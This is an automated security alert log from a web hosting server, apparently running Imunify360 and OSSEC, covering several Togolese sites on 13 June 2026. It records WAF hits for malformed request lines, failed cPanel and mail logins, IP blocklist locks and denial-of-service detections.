IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7a7167 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-13 10:58:48 +0000] info [cpaneld] 181.113.114.61 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 10:59:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.49.133.61
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/165519195 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 11:00:27.269449271 +0000 GMT m=+48430.948279144 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 283


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 11:01:29.34946379 +0000 GMT m=+48493.028293563 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 333


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 11:02:31.391627814 +0000 GMT m=+48555.070457587 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 361


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.52.112
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/121867461 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.16.189.18
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/424791916 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.250.142.124
country_id: 2542007
domain: snovich.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snovich.free.netmaster.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.9.229
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-768x768.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-300x300.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-1024x1024.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-150x150.webp 150w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-1536x1536.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24.webp 1600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.31.66
country_id: 2017370
description:
Jun 13 11:18:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.31.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.31.66
country_id: 2017370
description:
2026-06-13 11:18:14 dovecot_plain authenticator failed for H=(comor) [31.173.31.66]:43462: 535 Incorrect authentication data (set_id=majed.zammouri@soroubat.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.139
country_id: 2921044
description:
Jun 13 11:18:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-06-13 11:18:51 dovecot_login authenticator failed for H=([186.177.88.108]) [94.16.17.139]:60894: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 13 11:21:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.125.38.45
country_id: 1814991
description:
2026-06-13 11:26:46 dovecot_plain authenticator failed for H=(4o88d7kixghmkzirsqsdycj4u73) [180.125.38.45]:39548: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 11:29:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 13 11:30:13 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.56.42.218
country_id: 298795
description:
2026-06-13 11:30:17 dovecot_plain authenticator failed for H=(pz5pgs425vw9vkjfvgu9ihfkp5o) [188.56.42.218]:41846: 535 Incorrect authentication data (set_id=tkpangbanou@otr.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.219.76.31
country_id: 3017382
description:
86.219.76.31 - - [13/Jun/2026:11:32:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104879&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F01%252F29%252Fretrait-de-laes-de-la-cedeao-eviter-toute-confusion-et-toutes-perturbations-dans-les-habitudes-des-populations%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781350332 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/01/29/retrait-de-laes-de-la-cedeao-eviter-toute-confusion-et-toutes-perturbations-dans-les-habitudes-des-populations/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.7997.1668 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.219.76.31


